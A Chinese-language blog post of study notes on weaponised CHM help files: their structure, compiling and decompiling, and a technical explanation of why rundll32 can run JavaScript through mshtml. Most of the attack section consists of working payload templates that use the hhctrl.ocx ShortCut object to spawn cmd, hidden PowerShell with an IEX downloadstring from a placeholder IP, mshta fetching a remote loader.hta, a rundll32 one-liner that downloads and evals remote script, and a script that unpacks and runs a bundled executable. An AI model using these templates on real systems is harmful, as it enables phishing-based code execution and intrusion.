chm-study-notes

0x00 CHM结构

​ chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。

1. HTML help project (.hhp)配置文件。可以将它理解为CHM的配置文件,里面包含了首页和默认页、要打包的文件等信息。例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[OPTIONS] 
Compatibility=1.1 or later
Compiled file=PocCalc.chm
Contents file=Table of Contents.hhc
Index file=Index.hhk
Default topic=poc.html
Title=PocCalc
Display compile progress=No
Language=0x410 Italian (Italy)
Full-text search=Yes

[FILES]
poc.html
Test7Z1.exe

[INFOTYPES]

​ 2. html源码文件。存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。攻击者一般会通过ShortCut的方式添加执行的恶意命令,在Item1的Value参数中指定运行的进程和参数。例如,用ShortCut来通过cmd来打开计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd /c, Calc'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>

​ 3. hhk索引页面地图。html格式的文件,用于保存CHM中关键字索引目录的内容。在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。该文件在编译CHM文件过程中可忽略。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<UL>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="Hello">
<param name="Local" value="poc.html">
</OBJECT>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="World">
<param name="Local" value="poc.html">
</OBJECT>
</UL>
</BODY>
</HTML>

​ 4. hhc目录页面地图。用于保存CHM中目录页面索引的内容,在hhc文件中,用<UL><LI>两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。(没看懂和3的区别)示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> 
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<OBJECT type="text/site properties">
<param name="ImageType" value="Folder">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Test">
<param name="Local" value="poc.html">
<param name="ImageNumber" value="1">
</OBJECT>
</UL>
</BODY>
</HTML>

0x01 CHM的编译与反编译。

1
2
hhc.exe <目标hhp文件>                         // 编译
hh.exe -decompile <输出路径> <目标chm文件> // 反编译

0x02 CHM攻击方式

​ 参考的博客:

https://atsud0.me/2022/01/13/%E3%80%90%E9%92%93%E9%B1%BC%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83%E3%80%91-CHM%E6%96%87%E4%BB%B6%E7%AC%94%E8%AE%B0/

0x2.1 hhctrl.ocx对象命令执行

补充:hhctrl.ocx是Microsoft帮助文档界面相关文件。

​ 都是使用ShortCut函数实现的命令执行。

powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',powershell.exe, -nop -w hidden -e BASE64编码的字段'>
<!--><PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx"))'> 这段payload也可以<-->
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>

hta

​ hta是HTML应用程序,直接将HTML保存成HTA的格式,就是一个独立的应用软件。该程序的源代码包括不止一种脚本语言,可以包括例如HTML和JavaScript。mshta可以执行.hta文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',mshta, http://x.x.x.x/loader.hta'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

rundll32运行JS

​ ActiveXObject可以启用和返回对自动化对象的引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<head></head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,
javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://xx.xx.xx.xx",false);
try{
h.Send();
b=h.ResponseText;
eval(b);
}catch(e){
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);
}>'
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>

</html>

​ 为啥呢?看以下代码,在cmd窗口下运行就能弹窗。(具体原因见0x03)

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

0x2.2 释放文件并执行

​ 以下都是将CHM压缩的文件释放到本地指定目录后,再执行。

hh释放文件Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<p id="t0">Hello World!</p>
<SCRIPT>
<!-->获取目录<-->
function getPath(){
var pathName = document.location.pathname;
var index0 = pathName.substr(1).indexOf(":");
var index1 = pathName.substr(1).lastIndexOf(":");
var result = pathName.substr(index0+2,index1-index0-2);
return result;
}

<!-->判断文件是否存在,存在就执行指定的文件。<-->
function isHasFile(){
var a,s='C:\\Windows\\Temp\\Downloads\\Test7Z1.exe';
a = new ActiveXObject("Scripting.FileSystemObject");
if(a.FileExists(s))
AUTO.Click();
}

var dir = getPath();

// ``为模板字符串,即输入啥样,输出啥样
var commodStr =
`
<OBJECT id=unrar classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\
` + dir +
`
">
</OBJECT>
<OBJECT id=AUTO classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",C:\\Windows\\Temp\\Downloads\\Test7Z1.exe">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
`;

document.getElementById('t0').innerHTML = commodStr;
unrar.Click();
isHasFile();
</SCRIPT>

0x03 为什么rundll32.exe能执行js代码

​ Rundll32的作用是执行DLL文件中的内部函数。命令行格式如下:

1
RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>

​ EntryPoint就是要执行的内部函数,他的原型如下:

1
void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

​ 经过分析,Rundll32首先要调用ParseCommand函数把传进来的参数分割,函数会搜索逗号(‘,’, 0x2C)来定位dllname,搜索空格(‘ ‘, 0x20)来定位entrypoint。

​ 当输入:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');时,ParseCommand将dllname=javascript:"\..\mshtmlentrypoint=RunHTMLApplication

​ 之后,Rundll32会试图读取名称为javascript:"\..\mshtml的DLL。

1
2
3
4
5
1. 首先,系统尝试调用GetFileAttributes("javascript:"\..\mshtml")读取文件,最终会访问到C:\Windows\system32\mshtml(cmd的路径为C:\Windows\system32),但是文件不存在,所以函数返回-1。(为啥?试一试就知道了,见附录1)
2. 然后,系统调用SearchPath来寻找DLL名称。SearchPath会读取注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode的键值,来决定先搜索当前工作目录,还是先搜索系统路径。
3. 如果还查不到,系统就会再次使用GetFileAttributes,来查找C:\Windows\system32\mshtml.manifest。
3. 很显然,都搜索不到。最终,Rundll32会调用LoadLibrary函数,它会调用LoadLibrary("javascript:"..\mshtml.dll"),并将其作为dll来加载,因此,他想找上一级目录的mshtml.dll,这是可以找到的。
4. Rundll32 调用 mshtml.dll!RunHTMLApplication 函数。

​ RunHTMLApplication函数原型是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HRESULT RunHTMLApplication(
HINSTANCE hinst,
HINSTANCE hPrevInst,
LPSTR szCmdLine,
int nCmdShow
);
// 与 EntryPoint 比较:
// 可以看到 EntryPoint 与 RunHTMLApplication 很相似。
// 不同的是,RunHTMLApplication的第 1 个参数接受 1 个窗口句柄而不是模块句柄,该参数用于mshtml注册新窗口类并创建窗口,传一个非实例的参数貌似也不会有啥问题。
// 第 2 个参数并未被用到,即使不匹配也没啥事。
// 第 4 个参数nCmdShow由于指定RunHTMLApplication是否显示HTML应用的窗口。Rundll32调用入口的时候总是传入SW_SHOWDEFAULT来显示窗口到默认位置。
void CALLBACK EntryPoint(
HWND hwnd,
HINSTANCE hinst,
LPSTR lpszCmdLine,
int nCmdShow
);

​ 我们主要关心的参数是第 3 个参数 lpszCmdLine,这里传入的应该是";alert('foo')。很明显,这不是一个合法的JavaScript语句(末尾缺失双引号)。但本例中却是有效的,因为RunHTMLApplication会忽略该参数,而调用API GetCommandLine(包装在GetCmdLine函数中)来获取参数。如下图所示:

image-20221208214403168

​ 完整的命令行包含可执行文件的名字和参数,GetCmdLine会去掉可自行文件名,提取出参数:(这里不理解的一点是,为啥GetCmdLine会重新解析rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

image-20221208214559572

​ 然后,RunHTMLApplication 会调用CreateUrlMoniker(为啥?上图汇编中没有体现啊?)。CreateUrlMoniker解析命令行并提取出”:”之前的字符串,即javascript

image-20221208214826301

​ 之后,CreateUrlMoniker会读取注册表HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\ 中的值,其中存储了协议和其对应的CLSID(class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。一个准备创建多个对象的类对象应将其CLSID注册到系统注册数据库的任务表中,以使客户能够定位并装载与该对象有关的可执行代码)。CreateUrlMoniker会为JavaScript寻找合适的协议处理器。

​ 之后,javascript会解析:"..\mshtml,RunHTMLApplication ";alert('foo');

​ 这是一段合法的JavaScript,包含一个字符串"..\mshtml,RunHTMLApplication"(包括之前被忽略过的双引号)和一个函数(alert)。

0x04 附录1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// getFileAttr
#include <windows.h>
#include <stdio.h>

int main()
{
// 要查询的文件的路径
// const char *filePath = "C:\\Windows\\explorer.exe";
const char *filePath = "javascript:\"\\..\\easyCpp.cpp";

// 调用 GetFileAttributesA 函数获取文件属性
DWORD fileAttributes = GetFileAttributesA(filePath);

// 如果调用成功,fileAttributes 会包含文件的属性。
// 可以使用一些宏来检查它们,例如 FILE_ATTRIBUTE_DIRECTORY 来检查文件是否是目录。
if (fileAttributes != INVALID_FILE_ATTRIBUTES)
{
printf("File attributes: 0x%x\n", fileAttributes);
}
else
{
// 如果调用失败,GetLastError 函数可以获取错误代码。
printf("GetFileAttributesA failed with error code %d\n", GetLastError());
}

return 0;
}

getFileAttreasyCpp.cpp在同一个目录下,函数输出File attributes: 0x20,说明确实能找到。

留言

2022-12-08

© 2024 wd-z711

⬆︎TOP